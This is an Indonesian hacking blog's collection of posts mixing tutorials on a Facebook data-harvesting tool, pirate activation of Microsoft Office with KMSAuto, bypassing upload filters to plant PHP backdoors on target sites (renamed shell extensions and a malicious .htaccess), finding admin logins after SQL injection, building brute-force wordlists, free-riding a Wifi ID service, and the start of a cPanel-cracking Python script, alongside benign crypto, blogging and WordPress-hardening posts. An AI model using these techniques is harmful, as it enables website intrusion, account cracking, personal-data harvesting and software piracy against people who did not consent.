OSIF (Open Source Information Facebook) merupakan tool berfungsi untuk melihat data-data penting seperti email, nomor hp, dan ID facebook pada akun teman kalian


Bukan hanya itu saja , masih banyak fitur di dalam tools osif
Antara lain auto colek, auto reaction, auto konfirmasi pertemanan, hapus semua status, hapus semua foto, unfollow semua teman dll.

Penasaran? Yuk langsung ke tutorial install nya.

• Update dan upgrade termux dengan perintah

apt update && apt upgrade

• Karena tool ini menggunakan bahasa pemrograman python maka harus install python terlebih dahulu dengan command

apt install python2

• Kemudian install mechanize

pip2 install requests mechanize

• Install git dengan perintah

apt install git

• Clone tool OSIF nya dengan perintah

git clone https://github.com/CiKu370/OSIF.git

• Masuk ke directory osif

cd OSIF

• Install tool nya dengan perintah

pip2 install -r requirements.txt

• Dan sekarang tinggal menjalankan tool OSIF dengan command

python2 osif.py

• Login akun fb kalian dgn command

token

• Masukan perintah help untuk melihat semua fitur osif dgn command

help

Sekian dulu artikel tentang osif, jika bingung bisa kontak melalu kontak form atau lewat komentar di bawah, terima kasih semoga bermanfaat.

Biar lebih jelas lihat video di bawah ini

Selamat Pagi gan, sudah lama tidak buat artikel hehe. lama banget , terakhir update artikel bulan januari 2018, sekarang udah november 2018, hampir 1 thn hehe .

Oke langsung ke topik aja ya gan, tentang cara Aktifasi Microsoft Office 2016 Permanen Dengan KMSauto net, apa itu KMSauto Net ? KMSAuto Net adalah software yang berfungsi sebagai activator bagi Windows dan Microsoft Office.

Sebagian pengguna office, seperti word, powerpoint, excel dll tidak bisa membukanya atau menu masih terkunci, untuk membukanya harus mengeluarkan uang untuk  membeli key nya,


Nah dengan KMSauto Net ini kita tidak perlu membeli  alias GRATIS hehe

Tutorial.

Download KMSauto Net

• Jalankan Setup.exe (run as admin)
• Klik Activate dan pilih Activate Windows
• Tunggu sampai muncul popup task scheduler dan pilih Yes
• Selamat windows sudah teraktivasi dan akan selalu direset tanpa batas

 Untuk link download nya ada di bawah.
sekian , semoga bermanfaat.

Mungkin dari kalian sering menjumpai web target yang sudah mendapatkan admin akses nya tapi gagal upload backdoor, salah satunya karena web target menolak upload file yang berektensi .php , nah disini ada sedikit trik untuk Bypass nya.

Dengan Rename nama Backdoor.

1.Upload shell berekstensi shell.jpg.PhP
Ingat, bukan .php tapi .PhP . Kadang server bingung dan akan di accept sebagai file .jpg , tapi ketika di eksekusi tetap akan terbaca file php.

2.Upload shell berekstensi shell.php;.jpg
Biasanya sih , server akan mengabaikan ekstensi setelah tanda " ; " sehingga file akan tetap terbaca .php

3.Upload shell berekstensi shell.php.test
Biasa nya ekstensi .test akan diabaikan , sehingga akan tetap dibaca sebagai file .php
4.Upload shell berekstensi shell.php.xxxjpg
ekstensi tidak jelas semacam .xxxjpg biasanya akan diabaikan server, dan akan dibaca sebagai file .php

5.Upload shell dengan ekstensi shell.php5 / php3
Biasanya cara ini yang jadi jurus pamungkas jika keempat cara diatas gagal. Kebanyakan server tetap akan mengeksekusi nya sebagai file .php

Dengan .htaccess

Cara nya sangat simple Upload file .htaccess di bawah ini di web target,  setelah itu upload shell kalian dengan ektensi png, jpg atau txt, Nantinya file .txt , png, dan jpg akan di baca oleh web server menjadi file php

AddType application/x-httpd-php .Arpns1986x

AddType application/x-httpd-php .jpg

AddType application/x-httpd-php .png

AddType application/x-httpd-php .txt

Sampai disini dulu tutorialnya, tutorial selanjutnya menyusul, selengkapnya kalian praktekin sendiri, dan maaf jika ada kesalahan kata , Happy Hacking

Hola Free VPN adalah salah satu aplikasi yang sudah sangat populer di PC maupun di Android,karena dengan hola kamu bisa mengakses situs yang di blokir,ataupun bisa mengakses situs di berbagai negara tertentu.
Dengan Hola Free VPN kamu bisa mengubah/mengatur negara pilihan kamu sendiri,negara yang di sediakan pun banyak dan hampir lengkap untuk kamu browsing ke negara lain.

Fitur

• Satu-satunya VPN yang memberikan akses langsung sederhana untuk situs web favorit Anda disensor atau diblokir
• unblocks aplikasi dan situs web dari seluruh dunia
• Sembunyikan alamat IP Anda untuk menelusuri web pribadi & anonim
• 100% Gratis
• Beralih negara dengan mudah
• Kecepatan up web browsing
• Mengurangi biaya data plan

Berikut Sreenshot sebelum memakai Hola

Sebelum Memakai Hola

Dan berikut cara Memakai hola

1. Buka aplikasi hola
   
2. Pilih Browser yang mau gunakan dan Tentukan Negara yang mau kamu pakai
   
3. Klik Buka maka akan otomatis membuka browser yang kamu gunakan
   
4. Coba buka kembali situs yang di blockir tadi

   Setelah Memakai Hola

Dan taraaa bisa kan :p
18+ loh ya :D jangan di buka kalo belum cukup umur :p
sekalian dulu gan, semoga bermanfaat

Tag: Hola free vpn, membuka situs yang di blockir dengan android, tutorial membuka situs yang di blockir, internet positif, dll

Mendengar orang berbicara tentang Cryptography, kadang banyak istilah yang suka tercampur-baur dan itu jadi perdebatan tersendiri. Itupun tergantung dari sudut mana melihatnya. Secara umum memang terhubung satu sama lainnya dalam konteknya sendiri.
Pada kesempatan kali ini kita akan coba mengupas tentang Encoding, Obfuscation, Hashing dan Encryption.

Encoding

Tujuan Encoding adalah mengubah data yang dapat digunakan oleh berbagai macam sistim secara tepat dan aman. Seperti mengirimkan data yang berbentuk biner lewat email (seperti attachment), menyimpan data biner ke dalam database atau menampilkan karakter-karakter special pada halaman web atau media lainnya. Biasanya data itu diterjemahkan kedalam karakter sesuai dengan tipe yang digunakan.

Fokusnya pada bagaimana mengubah data dari satu sistem ke sistem lain secara benar. Datanya sendiri tidak disandikan, jadi datanya seperti apa adanya hanya bentuknya berbeda. Pada saat proses melakukan Encoding biasanya akan digunakan cara yang sudah tersedia secara umum. Jadi data diubah oleh algoritma yang sama, baik untuk merubah atau mengembalikan lagi data itu seperti semula. Semua itu dilakukan tanpa perlu adanya kunci, asal tahu algoritma mana yang digunakan. Data yang sudah di-Encoding akan bisa di-Decoding.


Ada banyak algoritma Encoding, seperti ASCII, Unicode, URL Encoding, Base64 dan lainnya. Yang paling sering kita lihat adalah Base64. Dari email, http sampai dalam database banyak menggunakan ini.

Obfuscation

Arti kata Obfuscation sendiri berarti membingungkan, yang dimaksud membuat sesuatu tidak mudah dimengerti. Ia bukan mengacak tanpa aturan. Ia akan membuat sebuah pesan menjadi sulit dibaca dan mengerti. Tujuannya ketika pesan itu berada di orang yang tidak mengerti cara membacanya maka pesan itu hanyalah pesan sampah.

Another person junk is another person gold.

Dalam pemograman cara ini juga banyak dipakai dalam source-code maupun yang berbentuk biner. Ini dilakukan agar orang lain tidak mudah mereplika ke dalam bentuk yang lain.

Bukan berarti tidak bisa hanya lebih sulit dan butuh waktu lebih, Reverse-Engineering sekarang banyak tool yang mempercepat proses itu.

Biasanya cara ini dibuat agar manusia akan kesulitan memahami pesan yang sudah di-Obfuscation tapi tidak dengan mesin. Seperti pada kode C dibawah.

Dalam pemograman cara ini juga banyak dipakai dalam source-code maupun yang berbentuk biner. Ini dilakukan agar orang lain tidak mudah mereplika ke dalam bentuk yang lain.

Bukan berarti tidak bisa hanya lebih sulit dan butuh waktu lebih, Reverse-Engineering sekarang banyak tool yang mempercepat proses itu.

Biasanya cara ini dibuat agar manusia akan kesulitan memahami pesan yang sudah di-Obfuscation tapi tidak dengan mesin. Seperti pada kode C dibawah.

 char*M,A,Z,E=40,J[40],T[40];main(C){for(*J=A=scanf(M="%d",&C);
--            E;             J[              E]             =T
[E   ]=  E)   printf("._");  for(;(A-=Z=!Z)  ||  (printf("\n|"
)    ,   A    =              39              ,C             --
)    ;   Z    ||    printf   (M   ))M[Z]=Z[A-(E   =A[J-Z])&&!C
&    A   ==             T[                                  A]
|6<<27<rand()||!C&!Z?J[T[E]=T[A]]=E,J[T[A]=A-Z]=A,"_.":" |"];} 

Kompiler tetap dapat membaca dan melaksanakan tugasnya, sedangkan kita jadi malas bacanya. Banyak aplikasi untuk melakukan ini, seperti JSFuck, Jscrambler, Dotfuscator, ionCube dan lainnya.
Kalau ini dianggap lebih aman, pikirkan lagi. Obfuscation ini mirip Encoding tapi tidak atau melakukannya secara manual untuk me-DeObfuscation. Ia menyulitkan manusianya saja tapi tidak mesin.

Hashing

Tugas utama Hashing adalah untuk memastikan integritas (keutuhan). Maksudnya seperti apa ya? Contohnya, kita ada sebuah file. Dengan di-Hashing kita akan memdapatkan nilai tertentu sebagai bagian integritas file tersebut. Apabila file itu dirubah, maka nilainya tidak akan sama lagi dengan Hashing pertama.

Jadi kita bisa tahu ini bukan file yang sama, ini yang kita sebuat integritas dari sebuah file. Kita bisa lihat cara ini digunakan oleh Git.

Penerapan umum dari Hashing ini terlihat pada saat kita melakukan Authentication. Pada saat kita login, yang dikirim ke server adalah hash yang akan dibandingkan dengan hash yang sudah ada di server.

Jadi kita tidak pernah mengirim user-name dan password lewat jaringan, yang ada kemungkinan disadap.

Dan cara yang sama ketika kita mengirim pesan yang sudah sudah di-Encryption dengan private-key. Kita kirim pesan itu disertai private-key yang di-hash. Di sisi server hash itu dicocokan dengan yang ada di-server. Kalau valid maka paket itu akan bisa dibuka.


Banyak algoritma untuk melakukan Hashing, seperti SHA, MD5, bycrpt dan lainnya. Dengan kemajuan hardware dan trik baru dalam math banyak dari algoritma ini sudah bisa di akali. Tetap waspada juga.

Encryption

Encryption adalah cara megubah data menjadi data tidak dapat dibaca tanpa potongan kode (baca: key)-nya. Dengan begitu pesan tersebut hanya bisa dibaca oleh orang yang memiliki pesan yang integritasnya valid dan memiliki key-nya.

Prosesnya terlihat sederhana. Sebuah pesan dikonjugsikan dengan algoritma dan key yang akan menghasilkan pecahan karakter yang cukup rumit. Untuk membaca pesan itu, akan sama kita perlu key, algoritma dan pesan yang ter-Encryption. Mirip seperti Encoding alurnya, tapi key diperlukan dan memainkan peranan penting.

Dalam beberapa algoritma, biasanya juga ditambahkan Hashing sebagai bagian prosesnya. Pilihannya juga banyak, dari AES, Blowfish, RSA dan lainnya.

Penutup

Dalam Cryptography baik secara teori dan prakteknya adalah tentang keamanan berkomunikasi. Yang melibatkan bagaimana cara melakukan itu dan memastikan tidak ada siapapun dapat membaca pesan pribadi tersebut. Dari aspek keamanan data, integritasnya, siapa penggunanya dan teknik yang bersangkutan (dari math, computer-science dan electrical-engineering).

Dan untuk sekarang ini adalah luas sekali penggunaan Cryptography ini, terutama yang berhubungan dengan dunia bisnis.

Setelah melihat penjabaran diatas yang berhubungan langsung dengan Cryptography adalah Hashing dan Encryption. Bukan berarti Encoding dan Obfuscation tidak penting disini. Dalam beberapa kesempatan ke empat yang kita bahas tadi bekerja sama sesuai dengan kebutuhannya.

Hallo para blogger, saya yakin ini sering kalian alami kan, hehee, iya kan, saat cari template yang cocok buat blog kalian, tapi kalian maunya yang free dan gak ada embel-embel credit di footer nya, Pernah mau menghapus tapi malah keredirect ke blog pembuatnya,

Sebenarnya tempate itu masih ada javascript yang di encrypt, biar credit nya gak bisa di hapus, ya mau gak mau kalau pengen menggunakan templatnya ya biarkan creditnya, jangan di hapus

Susah gan kalau kalian cari yang begitu, jarang-jarang pembuat template ngasih template nya free tanpa credit, mereka ngasih juga buat mendapatkan backlink dan visitor di blog mereka.

Mangkanya para pembuat tempate udah jago buat encrypt credit nya, biar gak bisa di hapus, buat kalian yang belum begitu mengerti tentang begituan mau decode script itu juga kesulitan kan, sama seperti saya juga belum bisa decode script itu,

Tapi kali ini Idiot attacker akan memberikan tips cara menghapus credit blog yang di redirect, sebenarnya gak menghapus, cuma menyembunyikan, ya udah lumayan kan gak ada creditnya.

Atau lebih baiknya jangan di hapus, hargai para pembuatnya, mereka susah-susah buat templatenya, di bagikan gratis malah di hilangkan pembuatnya, lebih sakitnya lagi kalau sampai di akui orang, di hapus creditnya lalu di ganti Design by blablabla.

Oke kalau kalian mau tau tips nya, tapi saya sekali lagi tidak menyuruh menghapus loh ya, saya hanya berbagi.

Langkah-langkahnya

• Masuk ke dasbor blogger kalian.
• Masuk ke menu template lalu Edit HTML
• Cari credit blog kalian, agar lebih mudah mencari tekan Ctrl + F
• Sebagai contoh kira-kira seperti ini kodenya

 <span style='float:left;'>
Copyright &amp;copy; 2014 <a expr:href='data:blog.homepageUrl'><data:blog.title/></a>
</span> 

• Lalu tambahkan kode berikut ini di style nya.

 visibility: hidden 

• Maka jadi nya seperti berikut.

 <span style='float:left;visibility: hidden'>
Copyright &amp;copy; 2014 <a expr:href='data:blog.homepageUrl'><data:blog.title/></a>
</span>
 

• Save template

Sekarang cek template kalian, gak ada creditnya kan.


Tag:Cara hapus credit footer blog, cara menghilangkan copyright blog, cara hapus copyright, hapus credit copyright

Idiot Attacker - WordPress menggunakan platform conten management system atau CMS. CMS merupakan sistem operasi untuk menangani website secara dinamis agar mudah dalam pengelolaannya. Karena itulah platform wordpress paling banyak digunakan untuk melakukan manajemen website.
 
saya dulu juga pengguna cms ini, jujur saya juga suka sama cms ini, terutama sama plugin-plugin nya, banyak plugin-plugin yang bisa di install di cms kita sesuai kebutuhan website kita,

Baca juga:

• Mengamankan web dengan auto Blacklist
• Security .htaccess

Di balik kelebihan juga ada kekurangan, berikut daftar celah wordpress yang sering disusupi hacker dan tips cara penangananya.

1. Plugin

Menurut dari pantuan saya dari web zone-h (zone-h.org), zone-h adalah website yang di gunakan oleh para hacktivis untuk mensubmid hasil deface nya, dari websiite itu menurut saya hampir 80% yang deface web wordpress berasal dari celah plugin nya, karena plugin wordpress ini gak 1 pengembang sama wordpress,
Tips: Selalu update plugin jika ada pembaruan, dan jangan asal install plugin,
bisa kalian cek di exploit-db plugin mana aja yang terdapat celahnya disini

2. Form login admin

Karena CMS ini sifatnya open source jadi siapa aja tau di mana path admin login nya, jadi ini bisa di manfaatkan hacker untuk melalukan penyerangan lewat bruteforce,
Bruteforce adalah sebuah teknik serangan yang menggunakan percobaan terhadap semua list kunci password yang memungkinkan atau istilah gampangnya mungkin menggunakan Random password/ password acak.
Tips: Gunakan password yang aman, jangan pake nama domain, nama kalian atau kata kunci yang mudah di tebak dan pasang plugin cache biar aman dari serangan bruteforce disini.


Itu dia sedikit tips mengamankan cms wordpress dari serangan hacker, sekian semoga bermanfaat


Tag: cara mengamankan wordpress, cara mengamankan website, tips mengamankan website, cms wordpress, kelebihan dan kekurangan wordpress

Udah tahun 2016 nih, maaf blog idiot attacker baru bisa update artikel, karena admin lagi ada tuntutan kerja jadi gak bisa aktif ngeblog,

Bingung mau buat artikel apa, yaudah idiot attacker buat artikel  Cara membuat kode copyright blog otomatis berubah setiap tahun,

Sesuai temanya pergantian tahun, yang copyright blog nya di tulis manual saat pergantian tahun pasti kalian menggantinya dgn cara manual juga kan?

Nah biar otomatis berganti sendiri gimana? mudah kok. langsung aja ya simak.

Langkah-langkanya

• Pergi ke menu Template - Edit HTML
• Cari Copyright blog mu, agar lebih mudah tekan (CTRL+F) lalu ketikan copyright terus enter
• Replace tahun copyright mu dengan kode berikut

<script type='text/javascript'>var creditsyear = new Date();document.write(creditsyear.getFullYear());</script> 

• Maka kurang lebih kodenya seperti berikut

 Copyright &#169; <script type='text/javascript'>var creditsyear = new Date();document.write(creditsyear.getFullYear());</script> <a expr:href='data:blog.homepageUrl'><data:blog.title/></a>. All rights reserved.

• Save template 

Dengan begitu copyright di footer kalian akan otomatis berubah jika pergantian tahun, jadi gak perlu susah-susah edit template lagi.
sekian, semoga bermanfaat



Tag: cara merubah kode footer otomatis, cara ganti tahun copyright otomatis, kode copyright blogger otomatis, copyright blogger, kode copyright blog

Dalam peretasan website yang terpenting adalah mendapatkan halaman login admin website terlebih dahulu, entah bisa di coba di bypass, bruteforce, sqli atau yang lainya. Maka dari itu terkadang admin menyembunyikan halaman admin nya sangat aman.

Pernah mencoba SQLI dan sudah dapat user dan password admin tapi tidak menemukan halaman login adminnya? pasti sering kan, dan pasti sangat jengkel, sudah mencari dengan admin login finder juga gak ketemu-ketemu, Nah kali Idiot attacker akan memberi beberapa tips untuk mencari halaman login admin suatu website.

Baca juga:
Tutorial deface with sqlmap and acunetix
Tutorial bypass sqli login
Admin login finder [phyton]

Dengan menggunakan Google dork.

Ini sangat simpel, kita mencari halaman login suatu website dengan memanfaatkan google dork / mesin pencari google, caranya cukup simpel,
pastekan dork berikut di pencarian google

Site:target.com intext:login
Site:target.com intitle:admin login
Dll.
Kalau cara tersebut belum mendapat hasil lanjut ke cara lainnya.

Dengan menggunakan robots.txt

Apa itu robots.txt? Robots.txt adalah sebuah file berformat text (.txt) yang wajib dimiliki setiap situs di internet yang didaftarkan pada mesin pencari seperti google, yahoo, dan bing. Jadi robots.txt sangat erat hubungannya dengan SEO. Robot.txt berfungsi untuk mengontrol dan mengatur halaman atau direktori mana yang boleh ditampilkan/diindex mesin pencari.
Nah terkadang  admin juga mendisallow halaman login nya di robot.txt biar tidak terindex di google.
cara melihat robots.txt tinggal tambahkan robots.txt di belakang website,
contoh: target.com/robots.txt
Lalu cari-cari yang kemungkinan itu adalah halaman login admin, gak semua admin memasukan directory admin login nya di robots.txt, kalau cara ini belum mendapatkan hasil lanjut lagi ke cara selanjutnya.

Dengan menggunakan acunetix.

Nah ini cara terakhir, yaitu menggunakan acunetix, acunetix adalah software untuk mengetest kerentanan suatu website, nah kali ini kita akan menfaatkan software ini untuk mencari halaman login admin. yang belum punya bisa download disini.
yang sudah langsung saja jalankan acunetix nya, klik new scan lalu masukan target nya terus next next aja.
tunggu sampai scan nya selesai.
lalu kalau ketemu password tipe input blablabla itu klik lalu pilih klik bawahnya yang muncul itu lalu pilih Launch the attack with http editor, lebih jelasnya lihat gambar dibawah ini.

Lalu kalau sudah copy directory nya , lihat gambar dibawah

Dan pastekan dibelakang website target dan kunjungi lewat browser. lihat gambar dibawah


Nah ketemu kan, kalau dengan cara terakhir ini kalian juga belum bisa mendapatkan admin loginya kalian bisa cari-cari di google lagi, siapa tau ada tutor lainya,
sekian semoga bermanfaat .

Tag: mencari admin login, tutorial mencari admin login, cara mudah mencari admin login

Anonymous ads atau a-ads.com adalah website yang bekerja dalam bidang pemasangan iklan, Disini a-ads.com memberikan kepada kita semua untuk mendapatkan penghasilan dengan cara menjadi publiser atau penayangan iklan dari a-ads.com
a-ads ini beda dengan adsense, kalau adsense membayar kita dari jumlah klik, kalau a-ads.com membayar kita bukan hanya dari jumlah klik tapi juga membayar kita dari jumlah pengunjung atau Pageview.

a-ads.com membayar kita dengan bitcoin, apa itu bitcoin? Bitcoin adalah sebuah uang elektronik yang di buat pada tahun 2009 oleh Satoshi Nakamoto. Nama tersebut juga dikaitkan dengan perangkat lunak sumber terbuka yang dia rancang, dan juga menggunakan jaringan peer-ke-peer tanpa penyimpanan terpusat atau administrator tunggal dimana Departemen Keuangan Amerika Serikat menyebut bitcoin sebuah mata uang yang terdesentralisasi . Tidak seperti mata uang pada umumnya, bitcoin tidak tergantung dengan mempercayai penerbit utama. Bitcoin menggunakan sebuah database yang didistribusikan dan menyebar ke node-node dari sebuah jaringan P2P ke jurnal transaksi, dan menggunakan kriptografi untuk menyediakan fungsi-fungsi keamanan dasar, seperti memastikan bahwa bitcoin-bitcoin hanya dapat dihabiskan oleh orang memilikinya, dan tidak pernah boleh dilakukan lebih dari satu kali. sumber: wikipedia

Bitcoin ini bisa kita cair kan dengan rupiah melalui rekening kita, harga bitcoin naik turun, kalau sedang naik cepat-cepat di cairkan.

Lanjut ke topic a-ads.com.

a-ads.com ini terbukti membayar, sudah saya test sendiri, bisa kalian lihat di header blog idiot attacker saya ini disitu terdapat iklan dari a-ads.com

Yang masih ragu lihat screenshort pembayaran saya dibawah ini.

Dan berikut yang sudah masuk ke rekening bitcoin saya.

A-ads.com ini otomatis membayar kita setelah mendapat 0.00010000 Ƀ , saya baru withdraw 3 kali karena saya juga baru gabung, Blog saya 1 hari masih withdraw 0.00010000 Ƀ karena jumlah pageview blog saya masih 500 sampe 700 per hari, mungkin blog kalian yang udah rame bisa withdraw 1 jam sekali :)
Tertarik ingin bergabung?

Caranya seperti berikut:

• Yang pasti anda punya akun bitcoin, yang belum punya bisa daftar di bitcoin.co.id
• kalau sudah daftar akun di a-ads.com disini, pilih Earn money lalu Create an ad unit, untuk alamat bitcoin nya isi dengan alamat bitcoin kalian, 
• Untuk melihat alamat bitcoin bisa kalain lihat di akun bitcoin kalian, klik deposit bitcoin di menu utama, nanti kalain akan menemui alamat bitcoin kalian.
• Dan masukan data-data kalian yang lain. setelah selesai kalian akan mendapatkan kode script iklan nya, lalu pasang ke blog kalian.
• Untuk kode script ini jenisnya iframe, iframe ini mengurangi score seo kita, tapi janga khawatir. kita bisa merubah jadi seo friendy kok, baca disini: Merubah kode iframe agar SEO Friendly
• Selesai.

Sekarang dengan hobi ngeblog kita, kita juga dpt penghasilan, ini alternatif jika kita di tolak adsense terus.
sebenarnya dulu saya juga maen adsense, tapi karena di banned mulu jadi sudah putus asa dengan adsense, dan sekarang udah ada alternatif a-ads.com ini, anti banned :)
sekian dulu. selemat mencoba.


Tag: cara mendapatkan uang dari blog, mencari penghasilan dari blog, mencari penghasilan dari a-ads, mendapatkan bitcoin gratis dari a-ads, bitcoin gratis, anonymous ads, merubah kode a-ads agar seo friendly, mencari bitcoin

IFRAME adalah tag HTML yang digunakan dalam desain web untuk menampilkan sebuah laman web dalam sebuah bingkai/frame pada sebuah laman web lainnya.

Tapi kalian tau tidak? Iframe ternyata mengurangi score SEO template kita sangat banyak. Seo score bisa kalian cek di chkme.com.

Berdasarkan pengalaman saya dulu, saya menggunakan Widget Pop Up like fanpage facebook, setelah saya cek score seo saya jadi berkurang banyak dan iframe jadi bad, sempat bingung dan setelah saya cek-cek lagi ternyata widget ini terdapat kode Iframe, ini yang membuat score seo saya berkurang.

Terus bagaimana cara merubah kode Iframe jadi seo Friendly?

Caranya cukup simpel.

• ubah kode <iframe menjadi <object
• ubah kode src menjadi data
• ubah kode </iframe> menjadi </object>

Contoh:

<iframe src="http://www.idiot-attacker.com" width="350px" height="300"></iframe>  

Ubah menjadi:

<object data="http://www.idiot-attacker.com" width="350px" height="300"></object> 

Buat yang score seo template nya di iframe bad bisa di pratekan dan coba cek score template kalian









Tag: mengatasi iframe bad di chkme, membuat iframe seo friendly, membuat template 100% di chkme, cara agar template seo friendly

Assalamualaikum.
Pada kali ini saya akan membagikan Tutorial Membuat Password List Dengan BruteScrape Phyton, bagi kalian yang suka melalukan teknik Bruteforce pasti membutuhkan wordlist yang jos dan tepat dari target kalian.
Terdapat sebuah tool yang dapat membantu anda dalam pembuatan Wordlist, salah satunya adalah tool BruteScrape . BruteScrape merupakan sebuah tool yang membaca source dari sebuah website, melakukan parsing pada tag HTML, menyeleksi beberapa kata untuk menjadi list password.

Langsung saja ke tutorial nya.

1. Download dulu Brutescrape nya Disini
2. Extrack dan edit sites.scrape dan masuk site yang akan di buat wordlist, Pisahkan site dengan tanda koma


3. Save lalu Run Brutescrape.py dengan CMD

4. Kalau sudah password list tersimpan di passwordlist.txt





Mudah kan, Lebih jelasnya lihat video dibawah ini






Jika Video Blur atur kualitas video nya ke 480p



Tag: Membuat wordlist sendiri, cara membuat wordlist, membuat password list, tutorial membuat wordlist, bruteforce, wordlist bruteforce

Internet positif

Malem gan :D , kali ini saya mau membagikan trick yang saya dapat dari forum sebelah, :D Trick jebol internet positif untuk melihat video unyil,

Siapa yang gak tau internet postif? bagi kalian pecinta film unyil pasti gak asing lagi sama internet positif, situs yang menjengkelkan ketika mau melihat video unyil yang lucu-lucu malah di redirect ke situs palang merah itu :(

Nah kali ini saya mau bagi trick untuk jebol internet positif itu (tanpa proxy), mungkin kalian sudah banyak yang tau, karena kalian pencinta berat sama film unyil the movie itu :v
Buat yang belum tau aja ini caranya.

Langkah-langkahnya.

1. Pertama-tama buka google translate lalu ketikan link video unyilnya.
2. Klik hasil translate nya.


3. Dan tarraa, selamat menonton video unyil the movie :v



Mudah kan , Sekian tricknya :D





TAG: internet positif, jebol internet postif, trick blog internet postif , anti internet postif, jebol internet positif tanpa proxy, cara jebol internet positif,

Assalamualaikum.
Pagi gan, kali ini saya mau bagi info yang saya dapat dari forum hacker newbie, Bug Wifi ID, :D
Belum nyoba sih, karena rumah saya tidak terjangkau signal wifi ID :(

Sekedar bagi info, siapa tau berguna buat kalian yang rumahnya terjangkau signal wifi ID, jadi bisa internetan gratis deh :D

Langsung saja.

1. Ketik INDI FREE kirim ke 98108 [KHUSUS TELKOMSEL]
2. Lalu anda akan dapat username sama pass
3. Langsung konek wifi id masuk ke komunitas pilih INDISTUDENT 
4. Isi NIS dgn 4 angka terserah. username dan pass isi dgn yg di dapat dari sms tadi. lalu login. 

Sekian, semoga work :D



 Sumber: Forum Hacker Newbie



Tag: bug wifi id, free wifi id, gratis wifi id terbaru, cara gratis wifi id, wifi id

Assalammualaikum.
Udah lama nih saya gak bikin artikel, sudah hampir habis agustusnya dan belum buat artikel sama sekali di bulan agustus ini, oke kali ini saya mau buat artikel tentang trick menghapus virus komputer manual, gak pakai anti virus, resikonya kalau manual salah hapus file penting bisa fatal loh, harus hati-hati.

Untuk menghapus virus ini yang paling penting adalah mencari virus induknya, si biang keroknya, ini yang sulit, virus menyembunyikan file nya sangat aman, kadang di folder yang disembunyikan atau di hide,

Oke lanjut, sekarang kita cari virus induknya, kita cek startup kita, Biasanya virus meninggalkan command pada startup, agar ketika komputer kita di nyalakan virus itu otomatis bangkit dari kuburnya,
Lihat dengan detail startup yang sekiranya mencurigakan, ( maaf saya disini gak memberi contoh virusnya, soalnya gak ada virus ) kadang virus juga memberi nama file nya layaknya file bawaan komputer, jadi harus hati-hati kalau mau menghapus,

Kalau udah ketemu file mencurigakan coba masuk di control panel, kalau ada file itu coba uninstal,
kadang juga gak sampai itu doang, virus masih menyembunyikan induk virus nya,

Sekarang kita coba cari lokasi file mencurigakan yang ada di startup tadi dengan msconfig.exe
 - Tekan Tombol windows + R lalu ketikan msconfig.exe lalu enter

 - kalau sudah ikuti petunjuk seperti gambar di bawah ini

Lihat gambar di atas di bagian commad, disitu tertera dimana lokasi file itu berada, selanjutnya tinggal cari file nya,

Terkadang file itu berada di folder yang tersembunyi, untuk memperlihatkan folder itu klik organize lalu pilih folder and search options, atau lebih jelasnya lihat gambar dibawah ini
Di bagian view pilih show hidden files, folders and drives lalu hapus centang pada hide protected operating system files (Recommended)
Lihat gambar dibawah ini
Lalu klik ok, kalau sudah nanti akan terlihat folder-folder tersembunyi tadi.
Nah tinggal cari file nya lalu hapus, ini hanya trick dasar, kadang gak semua virus bisa dengan trick ini, ada juga yang sulit, kalian bisa cari-cari lagi di google tutorialnya,

Sekian,




Tag: hapus virus manual, anti virus, virus komputer, anti malware, hapus malware, cara hapus virus, tutorial membasmi virus, cara mencari lokasi virus, lokasi virus

Artikel ini saya dapat dari Blog sebelah, sebagai pengingat saya juga , saya buat artikel disini. Karena saya menulis untuk saya baca kembali :)
bukan 100% saya copas semua gan, masih saya edit-edit lagi biar rapi dan  lebih jelas bacanya :D


Injeksi SQL atau SQL Injection memiliki makna dan arti yaitu sebuah teknik yang menyalahgunakan sebuah celah keamanan yang terjadi dalam lapisan basis data sebuah aplikasi. Celah ini terjadi ketika masukan pengguna tidak disaring secara benar dari karakter-karakter pelolos bentukan string yang diimbuhkan dalam pernyataan SQL atau masukan pengguna tidak bertipe kuat dan karenanya dijalankan tidak sesuai harapan. Ini sebenarnya adalah sebuah contoh dari sebuah kategori celah keamanan yang lebih umum yang dapat terjadi setiap kali sebuah bahasa pemrograman atau skrip diimbuhkan di dalam bahasa yang lain. (Wikipedia)



Cara Menutup Bug SQL Injection

    $id = $_GET['id'];

    "SELECT * FROM tbl_berita WHERE id='$id'"

    $id = abs((int)$_GET['id']);

Kemarin di artikel saya Download Havij 1.16 pro portable saya sempat ngomong kalau flashdisk saya rusak mangkanya saya upload-upload tools. jadi kalau terjadi begini lagi tidak pusing-pusing googling lagi.

Nah kebetulan salah satu teman FB saya menulis artikel di Blog nya ( http://c4rt-girl.es ) tentang mengembalikan data flashdisk / micro sd yang rusak. dan saya coba berhasil. walau nama-nama file tidak seperti yang dulu lagi, yang dulu tinggal kenangan, tapi isinya tetap yang dulu kok.
untung flashdisk saya belum saya format. Thanks :)

Sekarang mau saya buat Tutorial disini
Download iCare Data recovery ( Disini )
Install.

Kalau sudah di instal buka softwarenya
Disini ada 4 format , all, photo, music dan video, pilih aja all atau semua,


Lalu pilih Drive yang mau di recovery


Next.
Tunggu sampai penyecan'anya selesai




Setelah selesai pilih data yang mau di recovery, disini saya memilih semua, lalu klik recovery dan tentukan tempat penyimpanan barunya.
Tunggu Prosesnya selesai :)

Dan Done data kembali,

Mumpung lagi ada bahan buat praktek sekalian saya buat tutor :)
Kali ini saya mau bahas tutorial Crack Cpanel dengan file phyton,

Sebelum nya copy file berikut lalu simpan dengan format .py, save as type:"all file"

 #!/usr/bin/env python 
  
import sys 
import os 
os.system('color a') #green text 
import re 
import subprocess 
import urllib 
import glob 
from platform import system 
  
  
def banner(): 
  print ''' 
`###### #######   ######   #######  ###########
 #$$$$# #$$$$$$#  #$$$$#  #$$$$$$$# #$$$$$$$$$#  
  #$$#  #$$###$$#  #$$#   #$$###$$# ####$$#####
  #$$#  #$$# #$$#  #$$#   #$$# #$$#    #$$#
  #$$#  #$$# #$$#  #$$#   #$$# #$$#    #$$#
  #$$#  #$$###$$#  #$$#   #$$###$$#    #$$#
 #$$$$# #$$$$$$#  #$$$$#  #$$$$$$$#    #$$#
 ###### #######   ######   #######    ######  ATTACKER
 idiot-attacker.blogspot.com | Greets: Arpns1986x - K4mb1n9 P3r4w4n
 
 
 
  '''
  
  
if len(sys.argv) != 3: 
  banner() 
  print'''     
    Usage: %s [URL...] [directory...] 
          
    Ex) %s http://www.test.com lnx1 
  ''' % (sys.argv[0], sys.argv[0]) 
  sys.exit(1) 
  
  
site = sys.argv[1] 
fout = sys.argv[2] 
  
  
try: 
    req  = urllib.urlopen(site) 
